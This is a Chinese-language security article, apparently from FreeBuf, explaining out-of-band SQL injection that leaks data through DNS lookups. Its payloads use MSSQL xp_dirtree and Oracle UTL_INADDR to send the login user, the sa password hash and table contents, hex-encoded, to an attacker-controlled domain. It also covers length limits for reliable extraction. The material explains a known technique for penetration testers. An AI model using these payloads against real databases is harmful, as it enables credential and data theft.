當前位置:
首頁 > 新聞 > OOB(out of band)分析系列之DNS滲漏

OOB(out of band)分析系列之DNS滲漏

*本文原創作者:溫酒,本文屬FreeBuf原創獎勵計劃,未經許可禁止轉載


前言


SQL注入作為最老的漏洞之一,它的價值隨著整個web的發展從來沒有過時,足以證明它的地位和價值。

我和很多人聊過這個漏洞,發現很多人對這個漏洞的了解只是拿sqlmap干,好一點的還會手注,懂原理。


但是它們本身只了解到了這個漏洞的實戰效果和實戰需要等等,並沒有深入了解這個漏洞。但是這個漏洞本身基於資料庫,而資料庫是很靈活的,就會發展出很多邪道。筆者最近看了很多關於sql注入的文章,發現國外已經玩出玫瑰花來了,就打算寫個系列總結一下。


這篇文章的面向對象不是新手,起碼你要會sql的手注,知道sql注入的原理並且熟知各大資料庫的函數和特性。因為這篇文章不會講這些東西但是又基於這些東西,不會是很難看懂的。


我的QQ:1478023488


歡迎任何人找我討論,但是拒絕閑聊和扯淡.


OOB


SQL注入類型細分,分為以下5種:


共計3大類:


這篇文章的主題是out of band,即OOB。


它與我們熟知的inband類的注入相反。inband是利用web應用來直接獲取數據,比如Error-based SQL injection和Error-based SQL injection都是屬於inband類,它們都是通過web的響應或者錯誤反饋來提取數據。


而inference則是通過web的一些反映來推斷數據,比如Boolean-based blind SQL injection和Stacked queries SQL injection 也就是我們通俗的盲注,通過web應用的其他改變來推斷數據。


(因為我喜歡php,所以用PDO作為基準,而PDO只會返回第一條SQL語句的執行結果,
所以一般不能直接拿到數據,一般都是通過update某個可見欄位或者sleep注入,所以我歸為inference類)




























Method requests Time
Boolean-based blind 29,212 214.04
Time-based (1 sec) 32,716 17,720.51
Error-based 777 9.02
Union (full/partial) 3/136 0.70/2.50
DNS exfiltration 1,409 35.31

數據來源



我們的主角OOB則是通過其他傳輸方式來獲得數據,比如利用我們等會要說到的DNS解析協議和電子郵件。當你遇到了某些很隱蔽的注入點,inband類注入沒辦法用,inference類注入被你嫌棄太慢的時候,OOB就是你最好的選擇了。


利用DNS偷走數據


當說這個之前,你需要知道DNS的原理:


實際上複雜的多,是一個分級查詢。先向根域名伺服器查詢頂級域名伺服器,然後頂級域名伺服器查詢次級域名,這樣一層層查詢下來的。

作為攻擊者,我們只能控制需要查詢的域名和域名的NS伺服器。域名的NS伺服器可以在域名註冊商那裡修改,如何搭建NS伺服器就不談了。


以及還需要知道win對UNC(Universal-Naming-Convention)的內在支持,當我們嘗試連接到一個UNC路徑的時候,win會先查找目標域名的ip地址,用以建立連接。比如,給某個文件處理函數的文件路徑是\admin.xiaoze.com ops這種,那麼win操作系統會在xiaoze.com的dns伺服器上查找admin.xiaoze.com的域名的ip。所以我們可以通過監視dns伺服器來捕獲數據。


那麼顯然,利用dns偷數據的方法,除了大家熟知的mysql+win環境可以利用,只要是有能操控文件的函數且在win環境下運行的資料庫都可以利用這種方法。


比如mssql的4個文件操作函數:
























函數名 支持的資料庫版本 需要的參數
xp_getfiledetails Microsoft SQL Serves 2000 文件路徑
xp_fileexist 全系列 文件路徑
xp_dirtree 全系列 文件路徑
xp_subdirs 全系列 文件路徑

利用dns獲得當前登陸的用戶,可以使用:



declare @xiaoze char(128);


set @xiaoze=』『+system_user+』.xiaoze.com.』;


exec master..xp_dirtree @xiaoze


如果想獲得sa賬號的密碼hash,可以使用:


declare @xiaoze varchar(128);


select @host=」『+(select top 1


master.dbo.fn_varbintohexstr(password_hash)


from sys.sql_logins where name=』sa』)


+』.xiaoze.com.』;


exec master..xp_dirtree @xiaoze;


因為在測試的時候發現直接使用字元串拼接會報錯,所以我用了一個變數來保存路徑。但是也有小夥伴測試發現直接拼接不會報錯,具體情況大家自己搭建環境測試吧,我的環境是Microsoft SQL Serves 2000。


上面的語句通過文件操作函數觸發了win的UNC,引發了一次DNS操作,在向我們的ns伺服器查詢子域名ip的時候就可以捕捉到數據。


同樣,除了mssql和mysql可以利用dns偷數據,只要內置文件操作函數的資料庫都可以利用。

比如Oracle,Oracle的利用比mssql簡單很多。可以直接使用UTL_INADDR包(官方文檔戳我),而且因為不依賴PL/SQL所以可以直接插入到子查詢或者where之後。


在Oracle下想獲得資料庫登陸用戶可以用:



select * from xiaoze where lmz=UTL_INADDR.GET_HOST_ADDRESS


((SELECT USER FROM DUAL)||』.xiaoze.com』


其他的比如MySQL和PostgreSQL也是一樣的原理,我就不浪費篇幅了。


實際問題


這個技術本質是利用UNC發起的DNS查詢,所以UNC的路徑不能超過128,否則會失敗。所以我上面的中間變數長度都是128。同時也不能出現非法字元,否則也會失敗。


一般會把希望傳遞的數據轉化成能被dns正確處理的格式,比如變成16進位。mssql內置了一個名為fn_varbintohexstr的函數,它接收一個字元串作為參數並返回這個字元串的16進位表示。比如:select master.dbo.fn_varbintohexstr(cast(SYSTEM_USER as VARBINARY))。這句sql語句執行的結果是0x73006100,也就是sa的unicode編碼後的樣子。


接下來就是長度問題,因為經過上面的16進位編碼之後,128個字元的空間就顯的太少了,很容易就超出。這樣要麼我們只能收到前128個字元,剩下的就被丟掉了,也可能幹脆直接失敗。128包括完整的整個請求,包括前面的\和結尾的com.這點尤為注意。同時一個標識符佔用128個字元是非法的,最多不能超過63個字元,比如com就是一個標籤符,它佔用3個字元。


具體的解釋請打開《TCP/IP詳解—卷1:協議》(機器工業出版社第一版)的第146頁中間的圖14-6那段。


為了能正常完整的偷取數據,我們需要對數據進行編碼,並且不能超過63個位元組。編碼可以用fn_varbintohexstr函數解決。長度可以用substring函數截取控制長度。


完整且能保證穩定的利用語句:



declare @xiaoze char(128);


select @xiaoze=』『+master.dbo.fn_varbintohexstr(


CAST(SUBSTRING((SELECT TOP 1


CAST(XiaoZe AS char(255)) FROM LMZ),1,26) AS


VARBINARY(255)))+』.XiaoZeLoveLMZ.com.』;


EXEC master..xp_dirtree @xiaoze;


由於dns查詢會先查看本地緩存,所以為了能成功發出查詢,建議在請求中加入一些隨機值,比如我在我自己寫的工具裡面,隨機值是我老婆每個月的月經時間,每次向後推兩天,幸好她的月經時間不固定,否則我只能隨機她生氣的時間了。比如她看到這段話的時候?


結語


實際上OOB的方法很多,但是大部分都是實戰意義不高的技術。比如利用icmp和電子郵件或者http頭來偷數據。如果有人有興趣,我會全部寫一遍的。


*本文原創作者:溫酒,本文屬FreeBuf原創獎勵計劃,未經許可禁止轉載


喜歡這篇文章嗎?立刻分享出去讓更多人知道吧!

本站內容充實豐富,博大精深,小編精選每日熱門資訊,隨時更新,點擊「搶先收到最新資訊」瀏覽吧!


請您繼續閱讀更多來自 FreeBuf 的精彩文章:

Petya勒索蠕蟲完全分析報告
深入分析一波,你們說的雲安全到底是什麼鬼?
Wolf CMS 新舊兩個版本中的文件上傳漏洞分析

TAG:FreeBuf |

您可能感興趣

Nature子刊:阿茲海默病新說?血管滲漏會引起大腦病變,功能下降
惡意軟體+在線沙箱服務+雲=數據滲漏
生活小妙招|衛生間防滲漏的小妙招
山西鋁廠滲漏背後:老闆是山東富豪身家285億,3年被罰8次
法拉第籠也無法阻止的數據滲漏
制動跑偏、蒸發器滲漏、輔助蓄電池無法充電、制動燈亮故障的排除
了不起!潛艇突發滲漏,老兵亮出「家門絕學」,分分鐘找到漏點
一項研究表明,記憶力最差的人的大腦血管滲漏最多
業主反映樓屋滲漏怎麼辦?這家物業公司給業主寫了一封信。借鑒!
終結滲漏3大脆弱點,雨季來襲不擔憂
狄特絲手術服裝面料,防液體滲漏,阻微生物
地下室卷卷材防水層轉角部位滲漏檢測與維修
車禍後一直流「鼻涕」 五年後才查出是腦液滲漏
塗膜伸出屋面管道根部滲漏檢測及維修
南京揚子江隧道突發滲漏,搶修22小時恢復通車!
業主反映房屋滲漏,這家物業公司給業主寫了一封信!被狂贊
地下室混凝土孔眼滲漏檢測與維修
衛生間漏水怎麼辦?衛生間如何防止滲漏?
漏水案例篇:內牆滲漏牆體起皮怎麼辦?
外牆滲漏薄弱點如何處理?